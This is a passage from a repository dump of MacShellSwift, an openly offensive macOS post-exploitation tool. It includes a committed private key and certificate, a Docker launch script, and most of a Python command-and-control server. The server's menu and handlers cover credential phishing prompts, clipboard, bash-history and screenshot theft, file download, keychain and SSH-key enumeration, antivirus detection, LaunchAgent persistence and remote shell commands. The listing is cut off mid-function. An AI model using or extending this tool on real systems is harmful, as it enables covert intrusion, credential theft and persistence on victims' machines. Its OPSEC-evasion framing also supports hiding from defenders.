KoZIhvcNAQEBBQADggEPADCCAQoCggEBAO7C3HS4E/8FzV7lBXUizm8TixD4Ym0r 5 | bV8ZxWyP2TMA2J+IRMfg8CNQsDhS5wi8d6QFfI8OV16uSt8voqYB4LvhJk2nnM7Z 6 | eO8gG+xgrqGe8DJET8BBv5GJsubA6S73t7LouZmx8KvR2t8I82brZlNuKH7gG2mE 7 | 59Vjat3hJK7y8FYBim9X5uknlk/1AS7nlCjLePsb5r8Ek0vH87AEJg9T7OTukYhg 8 | +MOwSNhxavLnzKexlLziWachFQndbWnW8rMTA18C+nRo7IcyYKl4lnzbX8zEiNY3 9 | aMziwswZqVE513koNMY/4cLZA4PcrN88YhqukZCn6gJsj4fyFDIffTECAwEAAaAA 10 | MA0GCSqGSIb3DQEBCwUAA4IBAQAzXUgKhZTs+jmvZcpT/toUIWcUJh+QB/ZK/2K4 11 | Zg/tlaCm0Nt/7RRf5C927/h00QTLBoJQu78VOWorJblZFrsqklFDuFZcA7waU9cT 12 | rjsOpbu21HJcghGNEdaOHckCBm3zuClgPZWPZBeNzO/Uk3WQS/pcMUX0GeCd6gzs 13 | SxU5VxbQzr43UO5U4USFuTXgHMyEeAwTP8oac6WiqFu9GKmVqXBmZ83Q+I3DMIHo 14 | 0VoZa+uI8bZgVjwq6K1Dz31ox/SgPlO6wIjQ5dBB+YcfBQLic3T+aQeWzvQ79eBz 15 | fq4FvZy7n2svIXf0aOE4KZHbG4Yj1BJmDt553Zu4r5swjcuE 16 | -----END CERTIFICATE REQUEST----- 17 | -------------------------------------------------------------------------------- /MacShellSwift/ca.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDuwtx0uBP/Bc1e 3 | 5QV1Is5vE4sQ+GJtK21fGcVsj9kzANifiETH4PAjULA4UucIvHekBXyPDlderkrf 4 | L6KmAeC74SZNp5zO2XjvIBvsYK6hnvAyRE/AQb+RibLmwOku97ey6LmZsfCr0drf 5 | CPNm62ZTbih+4BtphOfVY2rd4SSu8vBWAYpvV+bpJ5ZP9QEu55Qoy3j7G+a/BJNL 6 | x/OwBCYPU+zk7pGIYPjDsEjYcWry58ynsZS84lmnIRUJ3W1p1vKzEwNfAvp0aOyH 7 | MmCpeJZ821/MxIjWN2jM4sLMGalROdd5KDTGP+HC2QOD3KzfPGIarpGQp+oCbI+H 8 | 8hQyH30xAgMBAAECggEAXqvBQj6jHyGr1w60ZUfR1tVG9Qmn7WWkzmqnj25STxjs 9 | zAT6UM7uKPKbjRnCJgKk5dKPGyIynoY5hdmbgnuIIrcZuvzU/mfYvehbahTD6a3d 10 | y/CuNqtbTFfvKfQgAdGTc0s4HKsjpN1nDby81nhMcJRjVjuCYwqh6kirXSMiqoNB 11 | nA2vYuugYzSLQI/JT73mSm2CjHMysjlOlmwPQLRVhsjRGE+2MyefU1vPBNtz2PV/ 12 | AkfgbchRLILf4yz49icI2qFm96ZHpMXPHRP+efsCr/IIQgZzUD0Lw4ejtf1u/l7z 13 | i/f/xo+4fYO9PbSIVJlQiLENbYqBB8CqUas+sWVAAQKBgQD400OKSBk2/cglVUvi 14 | AF7fZE0N6cIx5VPsONdGR6gGTjx0SvS9GiGFgzcO4pOHlEnlFMhkMnXLfLuFc8h6 15 | 2+fC7WbVse+zBoqtHyUP0WBron1hhhWmyD0sJduQv2heSoiTpehZn6kMOY41luBc 16 | YZXcAkrB6SVuGggvp5e/UbsGAQKBgQD1pU7cqZHXHrqpTIQZ7P18KGjGWg6CQkr1 17 | N+qIhCosxFHQCCqW6NxhE3sJDRyOYwlnbaTaWARCJMLetnH7uZOJ1mXXzOcmxWTW 18 | 5LieCleGgGWEjQkHx2Xp0NLpVGtqtdoXFyt8Wr9udUqen97gvpM5NuTiP3+pLrwI 19 | Nv2qSElXMQKBgAeHZPDHM7QdQ7QVe6FP/47k2wwDubOGy95G7gSbYHMoZN3j8rnS 20 | E5eVm9HgezRMAVxkH5ggir3ofUgRc8x74OxeAJGQu78AAKwyWA29eRxoo0CTLQ6J 21 | 2of+cUFU+VR5Dt7g00H6+cN77liiwxEohr9MdnSdmFtXgE3o1UedsnoBAoGBAN9M 22 | iVbQEpIiDf7OXpuOspMFzNDalqvUhX1KejnlIs2VHOXmNoj+Xy8j3UlKEPZiku7h 23 | XeVZ820JK9f2s8DnXnYDXosAafP1poguXKDVt+C9oQsQhe/7U+preP7ATfEwJHOv 24 | DUm62KAZoV52580XkI+HFiORI4Rwxl8VVhxQH9NRAoGAcaB7yoVyr8mcpg1oqTYj 25 | vXITPkwWLnxj21dIkQVdCMMx5hx1THGUJPT5VigLrG8dCHFIPmvRxMp9KyyrfHLz 26 | 6Gv20v7yEd4TdR2GjEvV5Z7jplKxin9xjGYmInWv5fjQcMU8xameXJ7IeF/u0FeV 27 | KFkudyd02hMy0hyzwDO65c8= 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /MacShellSwift/ca.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN TRUSTED CERTIFICATE----- 2 | MIIDEjCCAfoCCQC3z1neGFMrRjANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJV 3 | UzELMAkGA1UECAwCQ0ExFTATBgNVBAcMDFJlZHdvb2QgQ2l0eTEYMBYGA1UECgwP 4 | TWFjIEV4cGVydHMgTExDMB4XDTIwMTIyNzE4MjYxMloXDTIxMTIyNzE4MjYxMlow 5 | SzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRUwEwYDVQQHDAxSZWR3b29kIENp 6 | dHkxGDAWBgNVBAoMD01hYyBFeHBlcnRzIExMQzCCASIwDQYJKoZIhvcNAQEBBQAD 7 | ggEPADCCAQoCggEBAO7C3HS4E/8FzV7lBXUizm8TixD4Ym0rbV8ZxWyP2TMA2J+I 8 | RMfg8CNQsDhS5wi8d6QFfI8OV16uSt8voqYB4LvhJk2nnM7ZeO8gG+xgrqGe8DJE 9 | T8BBv5GJsubA6S73t7LouZmx8KvR2t8I82brZlNuKH7gG2mE59Vjat3hJK7y8FYB 10 | im9X5uknlk/1AS7nlCjLePsb5r8Ek0vH87AEJg9T7OTukYhg+MOwSNhxavLnzKex 11 | lLziWachFQndbWnW8rMTA18C+nRo7IcyYKl4lnzbX8zEiNY3aMziwswZqVE513ko 12 | NMY/4cLZA4PcrN88YhqukZCn6gJsj4fyFDIffTECAwEAATANBgkqhkiG9w0BAQUF 13 | AAOCAQEAglkiIqPe68kPiyaFQAe+yue3i1GRqwMWgfAZjHEQljHcn7Uk6ICDepHD 14 | XOyFbRmiD0/tLSqPc0sJ6n+ZhMtgS2z+Ky891RkEhW3aDMy+tA/RJ6uqiapD7n1p 15 | JGcBiwNfIaeZ9CKd+DAzs624G57dAl2ZiGcwAPItDkcb+17alSbn0Mor4EmKqxax 16 | 3cwKUG8PPwFPoVEBPBuOPTz6nAh3fNHI7eFm08rNHpiQho02bo1wCCeu9MMYNWGm 17 | XgqfPnrbYoT5KDa14IAwA6IEFXFN3iBw2xSw+1//4BRJGAqn7UEbICKIUlwKxpAG 18 | iapq1Ht7QbsDE6cKPWXNISKhcm0GQQ== 19 | -----END TRUSTED CERTIFICATE----- 20 | -------------------------------------------------------------------------------- /MacShellSwift/pic3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/pic3.jpg -------------------------------------------------------------------------------- /MacShellSwift/pic4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/pic4.jpg -------------------------------------------------------------------------------- /MacShellSwift/pic7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/pic7.png -------------------------------------------------------------------------------- /MacShellSwift/pic8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/pic8.png -------------------------------------------------------------------------------- /MacShellSwift/pic9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/pic9.jpg -------------------------------------------------------------------------------- /MacShellSwift/pica.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/pica.jpg -------------------------------------------------------------------------------- /MacShellSwift/picb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/picb.jpg -------------------------------------------------------------------------------- /MacShellSwift/picba.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/picba.jpg -------------------------------------------------------------------------------- /MacShellSwift/run.sh: -------------------------------------------------------------------------------- 1 | echo Enter listening port for your MacC2 server: 2 | 3 | read port 4 | 5 | sed -i -e "s/443/$port/g" swiftshell-server.py 6 | 7 | docker build -t macshellswift-docker . 8 | 9 | docker volume create MacShellSwift 10 | 11 | sudo docker run --rm --network="host" -v MacShellSwift:/mss -ti macshellswift-docker 12 | -------------------------------------------------------------------------------- /MacShellSwift/swiftshell-server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | from threading import Thread 4 | from queue import Queue 5 | import ssl 6 | import sys 7 | import subprocess 8 | 9 | ##first set up ssl for this server to properly run on ssl: 10 | ##1. openssl req -new -newkey rsa:1024 -nodes -out ca.csr -keyout ca.key 11 | ##2. openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem 12 | ## 13 | ##3. reference ca.pem and ca.key in the "context.load_cert_chain setting below in the start_server() function 14 | ##4. can also set up iptables on the server to restrict source connections from certain ranges: 15 | ##iptables -A INPUT -i eth1 -m iprange --src-range x.x.x.x-x.x.x.x -j ACCEPT 16 | ##iptables -P INPUT DROP 17 | 18 | 19 | 20 | print("<\033[33m-----------------------------------------------------------------\033[0m>") 21 | print("* __ _ __ _ __ _ _ _ *") 22 | print("* / _\ _ _(_)/ _| |_/ _\ |__ ___| | | *") 23 | print("* \ \ \ \ /\ / / | |_| __\ \| '_ \ / _ \ | | *") 24 | print("* _\ \ \ V V /| | _| |__\ \ | | | __/ | | *") 25 | print("* \__/ \_/\_/ |_|_| \__\__/_| |_|\___|_|_| *") 26 | print('* *') 27 | print('* *') 28 | print("* _.---._ *") 29 | print("* .'\"\".'/|\`.\"\"'. *") 30 | print("* : .' / | \ `. : *") 31 | print("* '.' / | \ `.' *") 32 | print("* `. / | \ .' *") 33 | print("* `-.__|__.-' *") 34 | print('* *') 35 | print('* *') 36 | print("* \033[92mOSX Post Exploitation Tool (client written in Swift)\033[0m *") 37 | print("* \033[92mauthor: @cedowens\033[0m *") 38 | print("<\033[33m-----------------------------------------------------------------\033[0m>") 39 | 40 | 41 | class ClientThread(Thread): 42 | 43 | def __init__(self,ip,port,connection,session,srvport): 44 | Thread.__init__(self) 45 | self.ip = ip 46 | self.port = port 47 | print("[+] \033[92m[SESSION %s]: Connection received from %s:%s\033[0m" % (str(session),str(ip),str(port))) 48 | 49 | while True: 50 | command = input("\033[34m[SESSION %s: %s]>>>\033[0m " % (str(session),str(ip))) 51 | if 'help' in command: 52 | print("-"*100) 53 | print("\033[33mHelp menu:\033[0m") 54 | print("--->COMMANDS<---") 55 | print(">\033[33msysteminfo\033[0m: Return useful system information: \033[92mIS OPSEC SAFE\033[0m") 56 | print(">\033[33mwhoami\033[0m: Show current user identity: \033[92mIS OPSEC SAFE\033[0m") 57 | print(">\033[33mcd [directory]\033[0m: cd to the directory specified (ex: cd /home): \033[92mIS OPSEC SAFE\033[0m") 58 | print(">\033[33mlistdir\033[0m: list files and directories: \033[92mIS OPSEC SAFE\033[0m") 59 | print(">\033[33mdownload [filename]\033[0m: after you cd to directory of interest, download files of interest (one at a time): \033[92mIS OPSEC SAFE\033[0m") 60 | print(">\033[33mlistusers\033[0m: List users: \033[92mIS OPSEC SAFE\033[0m") 61 | print(">\033[33maddresses\033[0m: List internal address(es) for this host: \033[92mIS OPSEC SAFE\033[0m") 62 | print(">\033[33mlcwd: Show current server working directory") 63 | print(">\033[33mpwd: Show working directory on host: \033[92mIS OPSEC SAFE\033[0m") 64 | print(">\033[33mcat [filename]: Display file contents \033[92mIS OPSEC SAFE\033[0m") 65 | print(">\033[33mprompt\033[0m: Propmpt the user to enter credentials: \033[91mMAY NOT BE OPSEC SAFE (osascript invoked)\033[0m") 66 | print(">\033[33muserhist\033[0m: Grab bash history: \033[92mIS OPSEC SAFE\033[0m") 67 | print(">\033[33mclipboard\033[0m: Grab text in the user's clipboard: \033[92mIS OPSEC SAFE\033[0m") 68 | print(">\033[33mconnections\033[0m: Show active network connections: \033[91mMAY NOT BE OPSEC SAFE (lsof invoked)\033[0m") 69 | print(">\033[33mchecksecurity\033[0m: Search for common EDR/AV products: \033[92mIS OPSEC SAFE\033[0m") 70 | print(">\033[33mscreenshot\033[0m: Grap a screenshot of the OSX host: \033[92mIS OPSEC SAFE\033[0m") 71 | print(">\033[33mpersist\033[0m: Add persistence as OSX Launch Agent. \033[91mMAY NOT BE OPSEC SAFE (launchctl load invoked to load the persistence)\033[0m") 72 | print(">\033[33munpersist\033[0m: Remove the login persistence. \033[91mMAY NOT BE OPSEC SAFE (launchctl unload invoked to unload the persistence)\033[0m") 73 | print(">\033[33mshell [shell command]\033[0m: Run a shell command...\033[91mNOT OPSEC SAFE (spawns processes for each shell command run)\033[0m") 74 | print('') 75 | print("--->OSQUERY<---") 76 | print(">\033[33mcheck_osquery\033[0m: Check to see if osquery is on this host: \033[92mIS OPSEC SAFE\033[0m") 77 | print(">\033[33mosquery_users\033[0m: Use osquery to pull back local users: \033[92mIS OPSEC SAFE\033[0m") 78 | print(">\033[33mosquery_loggedin\033[0m: Use osquery to pull logged in user info: \033[92mIS OPSEC SAFE\033[0m") 79 | print(">\033[33mosquery_usersshkeys\033[0m: Use osquery to pull ssh key info: \033[92mIS OPSEC SAFE\033[0m") 80 | print(">\033[33mosquery_knownhosts\033[0m: Use osquery to pull back ssh known_hosts: \033[92mIS OPSEC SAFE\033[0m") 81 | print(">\033[33mosquery_failedlogins\033[0m: Use osquery to pull back failed login and password last set info: \033[92mIS OPSEC SAFE\033[0m") 82 | print(">\033[33mosquery_apps\033[0m: Use osquery to pull back a list of apps: \033[92mIS OPSEC SAFE\033[0m") 83 | print(">\033[33mosquery_runningapps\033[0m: Use osquery to list currently running apps: \033[92mIS OPSEC SAFE\033[0m") 84 | print(">\033[33mosquery_arpcache\033[0m: Use osquery to pull the arp cache: \033[92mIS OPSEC SAFE\033[0m") 85 | print(">\033[33mosquery_keychainitems\033[0m: Use osquery to list keychain items: \033[92mIS OPSEC SAFE\033[0m") 86 | print(">\033[33mosquery_osversion\033[0m: Use osquery to pull OS version info: \033[92mIS OPSEC SAFE\033[0m") 87 | print(">\033[33mosquery_systeminfo\033[0m: Use osquery to pull basic system info: \033[92mIS OPSEC SAFE\033[0m") 88 | print(">\033[33mosquery_wifi\033[0m: Use osquery to pull wifi info: \033[92mIS OPSEC SAFE\033[0m") 89 | print(">\033[33mosquery_processinfo\033[0m: Use osquery to process info: \033[92mIS OPSEC SAFE\033[0m") 90 | print(">\033[33mosquery_interfaces\033[0m: Use osquery to list local network interfaces: \033[92mIS OPSEC SAFE\033[0m") 91 | print('') 92 | print("--->OTHER<---") 93 | print(">\033[33mexit\033[0m: Exit the session and stop the client") 94 | print("-"*100) 95 | 96 | elif 'exit' in command: 97 | print('Exiting now...') 98 | connection.send(command.encode('utf8')) 99 | y = connection.recv(2048) 100 | z = y.decode('utf8') 101 | print("----Server still listening on port %s----" % str(srvport)) 102 | break 103 | elif 'lcwd' in command: 104 | x = subprocess.getstatusoutput("pwd") 105 | print("Current server working directory:") 106 | print(str(x).replace("(0, '", '').replace("')",'')) 107 | elif (('whoami' in command) and ('shell' not in command)): 108 | connection.send(command.encode('utf8')) 109 | y = connection.recv(1024) 110 | z = y.decode('utf8').replace("(0, '", '').replace("')",'') 111 | print("\033[92mUser Context:\033[0m %s" %str(z)) 112 | 113 | elif (('pwd' in command) and ('shell' not in command)): 114 | connection.send(command.encode('utf8')) 115 | data = connection.recv(1024) 116 | data2 = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace("!EOF!",'') 117 | print("\033[92m%s\033[0m" % str(data2)) 118 | 119 | 120 | elif (('cat' in command) and ('shell' not in command)): 121 | connection.send(command.encode('utf8')) 122 | data = connection.recv(8192) 123 | if len(data) < 8192: 124 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 125 | print("\033[92m%s\033[0m" % str(z)) 126 | else: 127 | while True: 128 | g = connection.recv(8192) 129 | end = bytes('!EOF!', encoding='utf-8') 130 | if end in g: 131 | break 132 | data = data + g 133 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 134 | print("\033[92m%s\033[0m" % str(z)) 135 | 136 | elif 'listdir' in command: 137 | connection.send(command.encode('utf8')) 138 | data = connection.recv(8192) 139 | if len(data) < 8192: 140 | z = data.decode('utf8').replace(", ", "\n").replace("[", '').replace("]",'') 141 | print("\033[93m%s\033[0m" % str(z)) 142 | 143 | else: 144 | while True: 145 | g = connection.recv(8192) 146 | end = bytes('!EOF!', encoding='utf-8') 147 | if end in g: 148 | break 149 | data = data + g 150 | z = data.decode('utf8').replace("[", '').replace("]",'').replace("!EOF!",'') 151 | print("\033[93m%s\033[0m" % str(z)) 152 | elif 'connections' in command: 153 | connection.send(command.encode('utf8')) 154 | data = connection.recv(8192) 155 | 156 | if len(data) < 8192: 157 | print("Current network connections:") 158 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 159 | print("\033[92m%s\033[0m" % str(z)) 160 | 161 | else: 162 | while True: 163 | g = connection.recv(8192) 164 | end = bytes('!EOF!', encoding='utf-8') 165 | if end in g: 166 | break 167 | data = data + g 168 | print("Current network connections:") 169 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 170 | print("\033[92m%s\033[0m" % str(z)) 171 | 172 | elif 'check_osquery' in command: 173 | connection.send(command.encode('utf8')) 174 | data = connection.recv(8192) 175 | 176 | if len(data) < 8192: 177 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 178 | print("\033[92m%s\033[0m" % str(z)) 179 | 180 | else: 181 | while True: 182 | g = connection.recv(8192) 183 | end = bytes('!EOF!', encoding='utf-8') 184 | if end in g: 185 | break 186 | data = data + g 187 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 188 | print("\033[92m%s\033[0m" % str(z)) 189 | 190 | elif 'osquery_processinfo' in command: 191 | connection.send(command.encode('utf8')) 192 | data = connection.recv(8192) 193 | 194 | if len(data) < 8192: 195 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 196 | print("\033[92m%s\033[0m" % str(z)) 197 | 198 | else: 199 | while True: 200 | g = connection.recv(8192) 201 | end = bytes('!EOF!', encoding='utf-8') 202 | if end in g: 203 | break 204 | data = data + g 205 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 206 | print("\033[92m%s\033[0m" % str(z)) 207 | 208 | elif 'osquery_users' in command: 209 | connection.send(command.encode('utf8')) 210 | data = connection.recv(8192) 211 | 212 | if len(data) < 8192: 213 | print("OSQuery Info Pulled Back:") 214 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 215 | print("\033[92m%s\033[0m" % str(z)) 216 | 217 | else: 218 | while True: 219 | g = connection.recv(8192) 220 | end = bytes('!EOF!', encoding='utf-8') 221 | if end in g: 222 | break 223 | data = data + g 224 | print("OSQuery Info Pulled Back:") 225 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 226 | print("\033[92m%s\033[0m" % str(z)) 227 | 228 | elif 'osquery_usersshkeys' in command: 229 | connection.send(command.encode('utf8')) 230 | data = connection.recv(8192) 231 | 232 | if len(data) < 8192: 233 | print("OSQuery Info Pulled Back:") 234 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 235 | print("\033[92m%s\033[0m" % str(z)) 236 | 237 | else: 238 | while True: 239 | g = connection.recv(8192) 240 | end = bytes('!EOF!', encoding='utf-8') 241 | if end in g: 242 | break 243 | data = data + g 244 | print("OSQuery Info Pulled Back:") 245 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 246 | print("\033[92m%s\033[0m" % str(z)) 247 | 248 | elif 'osquery_runningapps' in command: 249 | connection.send(command.encode('utf8')) 250 | data = connection.recv(8192) 251 | 252 | if len(data) < 8192: 253 | print("OSQuery Info Pulled Back:") 254 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 255 | print("\033[92m%s\033[0m" % str(z)) 256 | 257 | else: 258 | while True: 259 | g = connection.recv(8192) 260 | end = bytes('!EOF!', encoding='utf-8') 261 | if end in g: 262 | break 263 | data = data + g 264 | print("OSQuery Info Pulled Back:") 265 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 266 | print("\033[92m%s\033[0m" % str(z)) 267 | 268 | elif 'osquery_systeminfo' in command: 269 | connection.send(command.encode('utf8')) 270 | data = connection.recv(8192) 271 | 272 | if len(data) < 8192: 273 | print("OSQuery Info Pulled Back:") 274 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 275 | print("\033[92m%s\033[0m" % str(z)) 276 | 277 | else: 278 | while True: 279 | g = connection.recv(8192) 280 | end = bytes('!EOF!', encoding='utf-8') 281 | if end in g: 282 | break 283 | data = data + g 284 | print("OSQuery Info Pulled Back:") 285 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 286 | print("\033[92m%s\033[0m" % str(z)) 287 | 288 | elif 'osquery_wifi' in command: 289 | connection.send(command.encode('utf8')) 290 | data = connection.recv(8192) 291 | 292 | if len(data) < 8192: 293 | print("OSQuery Info Pulled Back:") 294 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 295 | print("\033[92m%s\033[0m" % str(z)) 296 | 297 | else: 298 | while True: 299 | g = connection.recv(8192) 300 | end = bytes('!EOF!', encoding='utf-8') 301 | if end in g: 302 | break 303 | data = data + g 304 | print("OSQuery Info Pulled Back:") 305 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 306 | print("\033[92m%s\033[0m" % str(z)) 307 | 308 | 309 | elif 'osquery_interfaces' in command: 310 | connection.send(command.encode('utf8')) 311 | data = connection.recv(8192) 312 | 313 | if len(data) < 8192: 314 | print("OSQuery Info Pulled Back:") 315 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 316 | print("\033[92m%s\033[0m" % str(z)) 317 | 318 | else: 319 | while True: 320 | g = connection.recv(8192) 321 | end = bytes('!EOF!', encoding='utf-8') 322 | if end in g: 323 | break 324 | data = data + g 325 | print("OSQuery Info Pulled Back:") 326 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 327 | print("\033[92m%s\033[0m" % str(z)) 328 | 329 | elif 'osquery_osversion' in command: 330 | connection.send(command.encode('utf8')) 331 | data = connection.recv(8192) 332 | 333 | if len(data) < 8192: 334 | print("OSQuery Info Pulled Back:") 335 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 336 | print("\033[92m%s\033[0m" % str(z)) 337 | 338 | else: 339 | while True: 340 | g = connection.recv(8192) 341 | end = bytes('!EOF!', encoding='utf-8') 342 | if end in g: 343 | break 344 | data = data + g 345 | print("OSQuery Info Pulled Back:") 346 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 347 | print("\033[92m%s\033[0m" % str(z)) 348 | 349 | elif 'osquery_keychainitems' in command: 350 | connection.send(command.encode('utf8')) 351 | data = connection.recv(8192) 352 | 353 | if len(data) < 8192: 354 | print("OSQuery Info Pulled Back:") 355 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 356 | print("\033[92m%s\033[0m" % str(z)) 357 | 358 | else: 359 | while True: 360 | g = connection.recv(8192) 361 | end = bytes('!EOF!', encoding='utf-8') 362 | if end in g: 363 | break 364 | data = data + g 365 | print("OSQuery Info Pulled Back:") 366 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 367 | print("\033[92m%s\033[0m" % str(z)) 368 | 369 | 370 | elif 'osquery_failedlogins' in command: 371 | connection.send(command.encode('utf8')) 372 | data = connection.recv(8192) 373 | 374 | if len(data) < 8192: 375 | print("OSQuery Info Pulled Back:") 376 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 377 | print("\033[92m%s\033[0m" % str(z)) 378 | 379 | else: 380 | while True: 381 | g = connection.recv(8192) 382 | end = bytes('!EOF!', encoding='utf-8') 383 | if end in g: 384 | break 385 | data = data + g 386 | print("OSQuery Info Pulled Back:") 387 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 388 | print("\033[92m%s\033[0m" % str(z)) 389 | 390 | elif 'osquery_loggedin' in command: 391 | connection.send(command.encode('utf8')) 392 | data = connection.recv(8192) 393 | 394 | if len(data) < 8192: 395 | print("OSQuery Info Pulled Back:") 396 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 397 | print("\033[92m%s\033[0m" % str(z)) 398 | 399 | else: 400 | while True: 401 | g = connection.recv(8192) 402 | end = bytes('!EOF!', encoding='utf-8') 403 | if end in g: 404 | break 405 | data = data + g 406 | print("OSQuery Info Pulled Back:") 407 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 408 | print("\033[92m%s\033[0m" % str(z)) 409 | 410 | 411 | elif 'osquery_apps' in command: 412 | connection.send(command.encode('utf8')) 413 | data = connection.recv(8192) 414 | 415 | if len(data) < 8192: 416 | print("OSQuery Info Pulled Back:") 417 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 418 | print("\033[92m%s\033[0m" % str(z)) 419 | 420 | else: 421 | while True: 422 | g = connection.recv(8192) 423 | end = bytes('!EOF!', encoding='utf-8') 424 | if end in g: 425 | break 426 | data = data + g 427 | print("OSQuery Info Pulled Back:") 428 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 429 | print("\033[92m%s\033[0m" % str(z)) 430 | 431 | elif 'osquery_arpcache' in command: 432 | connection.send(command.encode('utf8')) 433 | data = connection.recv(8192) 434 | 435 | if len(data) < 8192: 436 | print("OSQuery Info Pulled Back:") 437 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 438 | print("\033[92m%s\033[0m" % str(z)) 439 | 440 | else: 441 | while True: 442 | g = connection.recv(8192) 443 | end = bytes('!EOF!', encoding='utf-8') 444 | if end in g: 445 | break 446 | data = data + g 447 | print("OSQuery Info Pulled Back:") 448 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 449 | print("\033[92m%s\033[0m" % str(z)) 450 | 451 | elif 'osquery_knownhosts' in command: 452 | connection.send(command.encode('utf8')) 453 | data = connection.recv(8192) 454 | 455 | if len(data) < 8192: 456 | print("OSQuery Info Pulled Back:") 457 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip() 458 | print("\033[92m%s\033[0m" % str(z)) 459 | 460 | else: 461 | while True: 462 | g = connection.recv(8192) 463 | end = bytes('!EOF!', encoding='utf-8') 464 | if end in g: 465 | break 466 | data = data + g 467 | print("OSQuery Info Pulled Back:") 468 | z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip() 469 | print("\033[92m%s\033[0m" % str(z)) 470 | 471 | elif (('cd ' in command) and ('shell' not in command)): 472 | connection.send(command.encode('utf8')) 473 | w = connection.recv(2048) 474 | z = w.decode('utf8').replace("(0, '", '').replace("')",'') 475 | if '/' in z: 476 